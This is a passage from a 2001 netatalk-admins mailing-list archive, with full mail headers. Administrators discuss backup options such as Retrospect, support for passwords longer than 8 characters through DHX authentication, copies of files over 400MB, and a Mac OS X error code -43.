FAQ-o-matic, but maybe I just didn't look hard enough.

Thanks,

Jonathan Miller
Bioinformatics System Administrator
NIEHS MicroArray Center (ITSS) 

From netatalk.administrators-errors@umich.edu  Thu Jul 26 15:06:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12130
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 15:06:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA17861
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 15:06:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA17834
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 15:06:27 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA17791
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 15:06:26 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 788934242D; Thu, 26 Jul 2001 14:06:39 -0500 (CDT)
Date: Thu, 26 Jul 2001 14:06:39 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
Message-ID: <20010726140639.H3687@newwww.teleologic.net>
References: <Pine.A41.4.33.0107260947050.68408-100000@homer23.u.washington.edu> <3B604BF2.EBDD7C3C@euc.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <3B604BF2.EBDD7C3C@euc.de>; from mconin@euc.de on Thu, Jul 26, 2001 at 06:57:23PM +0200
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Speaking of Retrospect:  we've got several mac and windows desktops and
a few linux servers.  Presently, our backup scheme is for the windows users
to use a samba home directory with their "my documents" on the network, 
and the mac users copy stuff to be backed up over to a G4 with a DVD-RAM.
The mac users are backed up using Retrospect, and the windows/linux
filesystems are manually copied over to a seperate DVD-RAM.

I was recently looking at MacOnLinux with LinuxPPC, and thought that it would
be great to be able to stick LinuxPPC on the G4 and use something like Arkeia
(or a script of my own doing, perhaps) to backup the linux machines (and thus
the windows machines), while running Retrospect under MOL for the mac people,
since the Mac is better at backing up the macs than netatalk is (for now).

Anyway, do any of you know if Retrospect will work OK under MOL, and how
well it works?  I know this is drifting off of netatalk by a wide margin,
but it's kinda part of this thread... :)

Thanks.
--Danny

From netatalk.administrators-errors@umich.edu  Thu Jul 26 15:25:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12793
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 15:25:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA01670
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 15:25:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA01644
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 15:25:56 -0400 (EDT)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA01586
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 15:25:55 -0400 (EDT)
Received: from [205.232.131.4] (CAD.jamesltaylor.com [205.232.131.4])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id PAA04642
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 15:06:44 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 26 Jul 2001 15:25:02 -0400
Subject: Re: Backup Software Question
From: Vic Landi <vic@mail.jamesltaylor.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B785E6CE.2A9D%vic@jamesltaylor.com>
In-Reply-To: <20010726140639.H3687@newwww.teleologic.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

There is a Windows client for Retrospect which works pretty well...

> From: Danny Sauer <dsauer@teleologic.net>
> Date: Thu, 26 Jul 2001 14:06:39 -0500
> To: netatalk-admins@umich.edu
> Subject: Re: Backup Software Question
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 26 Jul 2001 15:12:10 -0400 (EDT)
> 
> Speaking of Retrospect:  we've got several mac and windows desktops and
> a few linux servers.  Presently, our backup scheme is for the windows users
> to use a samba home directory with their "my documents" on the network,
> and the mac users copy stuff to be backed up over to a G4 with a DVD-RAM.
> The mac users are backed up using Retrospect, and the windows/linux
> filesystems are manually copied over to a seperate DVD-RAM.
> 
> I was recently looking at MacOnLinux with LinuxPPC, and thought that it would
> be great to be able to stick LinuxPPC on the G4 and use something like Arkeia
> (or a script of my own doing, perhaps) to backup the linux machines (and thus
> the windows machines), while running Retrospect under MOL for the mac people,
> since the Mac is better at backing up the macs than netatalk is (for now).
> 
> Anyway, do any of you know if Retrospect will work OK under MOL, and how
> well it works?  I know this is drifting off of netatalk by a wide margin,
> but it's kinda part of this thread... :)
> 
> Thanks.
> --Danny


From netatalk.administrators-errors@umich.edu  Thu Jul 26 15:46:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA13517
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 15:46:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA29180
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 15:46:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA29153
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 15:46:39 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA29108
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 15:46:37 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA07150;
	Thu, 26 Jul 2001 22:02:51 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 26 Jul 2001 21:48:40 +0200
Subject: Re: passwords longer than 8 characters
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "Miller.Jonathan" <MILLER18@niehs.nih.gov>,
        "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Message-ID: <B78640B7.F018%Thomas.Kaiser@phg-online.de>
In-Reply-To: <4D693F933DD8D311A18C00E018B0057608EA385B@trollope.niehs.nih.gov>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA13517

am 26.07.2001 20:25 Uhr schrieb Miller.Jonathan:

> there's a problem when people have passwords longer than 8 characters.

Support for more than 8 chars in passwords came with DHX authentication.

> Is there some way, maybe through a UAM, to have it accept longer passwords?

If you have a recent AppleShare Client (Apple recommends 3.8.8 if you want
to change you passwords through chooser: <http://til.info.apple.com/techinfo
.nsf/artnum/n60792>) and compiled a recent Netatalk version with DHX
Authentication, things will work as expected. :-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jul 26 16:25:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA15072
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 16:25:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA08361
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 16:25:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08341
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 16:25:28 -0400 (EDT)
Received: from mail.intekom.com (mid-mail-01.intekom.com [196.25.69.44])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA07760
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 16:25:08 -0400 (EDT)
Received: (qmail 28596 invoked from network); 26 Jul 2001 20:23:39 -0000
Received: from hwh53-01-p195.gt.saix.net (HELO navajo.local) ([155.239.74.195]) (envelope-sender <anton.coetzee@vip.co.za>)
          by intekom.com (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 26 Jul 2001 20:23:39 -0000
X-vSMTP: intekom.com
Received: from apache (apache [192.168.1.2])
	by navajo.local (8.9.3/8.9.3) with SMTP id WAA16422
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 22:22:56 +0200
Message-ID: <003c01c11610$ceafcc80$0201a8c0@local>
From: "Anton Coetzee" <anton.coetzee@vip.co.za>
To: <netatalk-admins@umich.edu>
References: <01072619003300.12373@luk.noordland.com>
Subject: Re: file >400MB
Date: Thu, 26 Jul 2001 22:23:17 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200

There doesn't appear to be a problem with directories as far as I know.
On one of the production servers I built a while back using Netatalk (kernel
2.2.19, own distrib), directories of around 20 GB are moved around quite
regularly with no problems. Most of the files are around 50 - 70 MB, so I
don't know about issues with large files, though.

Anton Coetzee

----- Original Message -----
From: Luk Vermeylen <luk.vermeylen@pandora.be>
To: netatalk <netatalk-admins@umich.edu>
Sent: Friday, July 27, 2001 1:00 AM
Subject: file >400MB


> Is there a problem for copying files (or directories) bigger than 400MB
(or
> approx 350) to a netatalk server?
> When I copy a dir >400MB from a  G4 (mac OS9), it causes a reboot from my
> linux server (RH7.1, latest netatalk)
>
>
> --
> Luk Vermeylen
> Putsebaan 84
> 2040 Antwerpen 4
> luk.vermeylen@pandora.be
> +32(0)32950012
>
>


From netatalk.administrators-errors@umich.edu  Fri Jul 27 00:17:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA28589
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 27 Jul 2001 00:17:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id AAA26072
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 27 Jul 2001 00:17:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA26048
	for netatalk.administrators-members@umich.edu; Fri, 27 Jul 2001 00:17:51 -0400 (EDT)
Received: from Bayou.UH.EDU (Bayou.UH.EDU [129.7.1.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA26018
	for <netatalk-admins@umich.edu>; Fri, 27 Jul 2001 00:17:50 -0400 (EDT)
Received: from localhost (jzhao2@localhost)
	by Bayou.UH.EDU (8.8.8/8.8.8) with ESMTP id XAA00058
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 23:17:49 -0500 (CDT)
Date: Thu, 26 Jul 2001 23:17:49 -0500 (CDT)
From: Jin Zhao <jzhao2@Bayou.UH.EDU>
To: netatalk-admins@umich.edu
Subject: Mac OS X problem: Error code-43 
Message-ID: <Pine.OSF.4.21.0107262310100.7437-100000@Bayou.UH.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

hi geeks, 

Just build and install Netatalk-1.5-pre6 on a redhat7.1 box. 
Mac OS 9 works well with this server, but OS X failed to open/copy/
files and give an error "......  Error code-43". I can't find any more
information in system logs on both systems.

I find  this problem was reported many times, but didn't get a
answer or solution till now. 

Is the problem from OS X or from Netatalk?
Should i use the newest Netatalk code from CVS ?

Thanks,

Jin





From netatalk.administrators-errors@umich.edu  Fri Jul 27 04:00:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA04007
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 27 Jul 2001 04:00:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA29301
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 27 Jul 2001 04:00:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA29282
	for netatalk.administrators-members@umich.edu; Fri, 27 Jul 2001 04:00:04 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA29205
	for <netatalk-admins@umich.edu>; Fri, 27 Jul 2001 04:00:02 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GH4GVY00.38O; Fri, 27 Jul 2001 09:59:58 +0200 
Sender: hollow@easycomeeasygo.mr.itd.umich.edu
Message-ID: <3B611F7E.AA885B@fcb-wilkens.com>
Date: Fri, 27 Jul 2001 09:59:58 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: "Miller.Jonathan" <MILLER18@niehs.nih.gov>,
        "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Re: passwords longer than 8 characters
References: <B78640B7.F018%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Kaiser wrote:
> 
> am 26.07.2001 20:25 Uhr schrieb Miller.Jonathan:
> 
> > there's a problem when people have passwords longer than 8 characters.
> 
> Support for more than 8 chars in passwords came with DHX authentication.
> 

Where is this limitation? Is it in the uam from netatalk, or is it built in into
the
chooser? If it is part of the uam, it would be nice to lift that limitation,
because then 
one would be able to authenticate against external services (i.e., LDAP) with
longer passwords.

H.

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Fri Jul 27 19:35:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA15551
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 27 Jul 2001 19:35:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA18049
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 27 Jul 2001 19:35:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA18035
	for netatalk.administrators-members@umich.edu; Fri, 27 Jul 2001 19:35:30 -0400 (EDT)
Received: from s1.uklinux.net (ns1.uklinux.net [212.1.130.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA17266
	for <netatalk-admins@umich.edu>; Fri, 27 Jul 2001 19:35:13 -0400 (EDT)
Received: from 212.1.152.180 (ppp-1-180.cvx5.telinco.net [212.1.152.180])
	by s1.uklinux.net (8.11.2/8.11.1) with SMTP id f6RNYjw11117;
	Sat, 28 Jul 2001 00:35:00 +0100
Envelope-To: netatalk-admins@umich.edu
Date: Sat, 28 Jul 2001 00:27:53 +0100
From: Barbara and Rory Campbell-Lange <b&r@campbell-lange.net>
Subject: Re: file >400MB
To: Anton Coetzee <anton.coetzee@vip.co.za>,
        Luk Vermeylen <luk.vermeylen@pandora.be>
cc: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <003c01c11610$ceafcc80$0201a8c0@local>
Message-ID: <20010728002936-r01010600-cd76505e@212.1.152.180>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

On 26/7/01, anton.coetzee@vip.co.za (Anton Coetzee) wrote:

> There doesn't appear to be a problem with directories as far as
> I know. On one of the production servers I built a while back
> using Netatalk (kernel 2.2.19, own distrib), directories of
> around 20 GB are moved around quite regularly with no problems.
> Most of the files are around 50 - 70 MB, so I don't know about
> issues with large files, though.

Groete, Anton, Luk!

On 1.5pre6 we have over 1G disk copy .smi files which we throw onto and off
the server without any problems.

Rory

--
  Barbara and Rory Campbell-Lange
  The Campbell-Lange Workshop
  No.10, 72 Tottenham Court Road, London W1T 2HE
  Tel (020) 7580 5902 + Fax (020) 7637 5880


From netatalk.administrators-errors@umich.edu  Sun Jul 29 19:07:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA27524
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 29 Jul 2001 19:07:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA09529
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 29 Jul 2001 19:07:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09512
	for netatalk.administrators-members@umich.edu; Sun, 29 Jul 2001 19:07:43 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA09424
	for <netatalk-admins@umich.edu>; Sun, 29 Jul 2001 19:07:40 -0400 (EDT)
Received: (qmail 27309 invoked from network); 30 Jul 2001 19:09:19 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 30 Jul 2001 19:09:19 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: Backup Software Question
Date: Mon, 30 Jul 2001 09:06:59 +1000
Message-ID: <004b01c11883$2c3333a0$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <3B604674.6C9F4B58@euc.de>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Retrospect was one of the reasons why our mac users abandoned the macintosh
server and went linux - too much trouble with it, although I'm not convinced
that at least part of that wasn't a user problem...

-----Original Message-----
From: Mac Conin [mailto:mconin@euc.de]
Sent: Friday, 27 July 2001 02:34
To: netatalk-admins@umich.edu
Subject: Re: Backup Software Question


Hmm,

running netatalk assumes that there is a Macintosh in the network.
What about retrospect from dantz? I've tried it here and it looks
good to me. I'm storing to a DAT-Drive at ~150MB/min.

I can use my mac - and in any circumstance Im not in the office,
someone else can handle a backup or restore, 'cause everybody can handle
the program.



Christoph Sold wrote:
>
> Ryan McBeth wrote:
> >
> >         You know, another thing you can consider is something else we
> > have running.  I call it a "poor man's RAID".  Just purchase 2 hard
> > drives of the same size.  Use one hard drive as your working file
> > server.  Back up the entire drive to the second hard drive every
> > night.  That way, you have a complete backup of the system every day.
> >
> >         It's simple, and it works for those "oh shoot, I just erased
> > file X", and it's faster than searching for the correct tape.
>
> Until the person asking for the backupo mentions "I had deleted this
> file the day before..."
>
> Backups to hard disks are no backups. If you want to have speedy acces
> to document history, install your own CVS server. This one is much
> better at getting at old version really fast. If you need security, do a
> backup to removable media, and store it offsite.
>
> >Just my EUR.02
> -Christoph Sold

--
--schnippe-di-schnipp--

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------



From netatalk.administrators-errors@umich.edu  Sun Jul 29 19:10:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA27601
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 29 Jul 2001 19:10:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA07892
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 29 Jul 2001 19:10:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA07890
	for netatalk.administrators-members@umich.edu; Sun, 29 Jul 2001 19:10:25 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA07862
	for <netatalk-admins@umich.edu>; Sun, 29 Jul 2001 19:10:22 -0400 (EDT)
Received: (qmail 27336 invoked from network); 30 Jul 2001 19:12:03 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 30 Jul 2001 19:12:03 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'netatalk'" <netatalk-admins@umich.edu>
Subject: RE: file >400MB
Date: Mon, 30 Jul 2001 09:09:43 +1000
Message-ID: <004c01c11883$8defcd10$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <01072619003300.12373@luk.noordland.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Nope - when setting up our netatalk server we had to copy around 40G of
stuff. was fast, no problems / crashes. Interestingly, it's fairly processor
intensive - afpd was using around 10 - 20% processor time on a PIII866.
Would suggest checking network cards - try giving it a really heavy load
using samba / nfs / anything and see what happens.

-----Original Message-----
From: Luk Vermeylen [mailto:luk.vermeylen@pandora.be]
Sent: Friday, 27 July 2001 09:01
To: netatalk
Subject: file >400MB


Is there a problem for copying files (or directories) bigger than 400MB (or
approx 350) to a netatalk server?
When I copy a dir >400MB from a  G4 (mac OS9), it causes a reboot from my
linux server (RH7.1, latest netatalk)


--
Luk Vermeylen
Putsebaan 84
2040 Antwerpen 4
luk.vermeylen@pandora.be
+32(0)32950012



From netatalk.administrators-errors@umich.edu  Sun Jul 29 19:14:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA27692
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 29 Jul 2001 19:14:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA09361
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 29 Jul 2001 19:14:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09358
	for netatalk.administrators-members@umich.edu; Sun, 29 Jul 2001 19:14:12 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA09341
	for <netatalk-admins@umich.edu>; Sun, 29 Jul 2001 19:14:09 -0400 (EDT)
Received: (qmail 27369 invoked from network); 30 Jul 2001 19:15:50 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 30 Jul 2001 19:15:50 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: passwords longer than 8 characters
Date: Mon, 30 Jul 2001 09:13:29 +1000
Message-ID: <004d01c11884$14a3e6c0$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <4D693F933DD8D311A18C00E018B0057608EA385B@trollope.niehs.nih.gov>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Yep - use the pam uam. You'll need some software on the mac to support this
(any mac gurus out there tell us what it is?) I'm pretty sure it's just a
patch from apple.

Cheers,

chris

-----Original Message-----
From: Miller.Jonathan [mailto:MILLER18@niehs.nih.gov]
Sent: Friday, 27 July 2001 04:25
To: 'netatalk-admins@umich.edu'
Subject: passwords longer than 8 characters


I've got netatalk 1.4 set up and working fine on RedHat 6.2, but I'm
finding there's a problem when people have passwords longer than 8
characters.  Is there some way, maybe through a UAM, to have it accept
longer passwords?  (The end doal is actually to go and authenticate
against an NT domain using pam_smb, which is also set up just fine.  I
just run into problems with these long passwords.)

I hope this isn't a FAQ; I didn't see anything like it in the
FAQ-o-matic, but maybe I just didn't look hard enough.

Thanks,

Jonathan Miller
Bioinformatics System Administrator
NIEHS MicroArray Center (ITSS)



From netatalk.administrators-errors@umich.edu  Sun Jul 29 19:43:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA28638
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 29 Jul 2001 19:43:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA26217
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 29 Jul 2001 19:43:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA26200
	for netatalk.administrators-members@umich.edu; Sun, 29 Jul 2001 19:43:08 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA26101
	for <netatalk-admins@umich.edu>; Sun, 29 Jul 2001 19:43:06 -0400 (EDT)
Received: (qmail 27662 invoked from network); 30 Jul 2001 19:45:00 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 30 Jul 2001 19:45:00 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: passwords longer than 8 characters
Date: Mon, 30 Jul 2001 09:42:39 +1000
Message-ID: <005501c11888$28188900$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <3B611F7E.AA885B@fcb-wilkens.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

It's a two part thing - you need to use dhx authentication, **and** you need
to be using the latest version of appletalk (see earlier email from
someone).

-----Original Message-----
From: hollow@easycomeeasygo.mr.itd.umich.edu
[mailto:hollow@easycomeeasygo.mr.itd.umich.edu]On Behalf Of Harald
Wagener
Sent: Friday, 27 July 2001 18:00
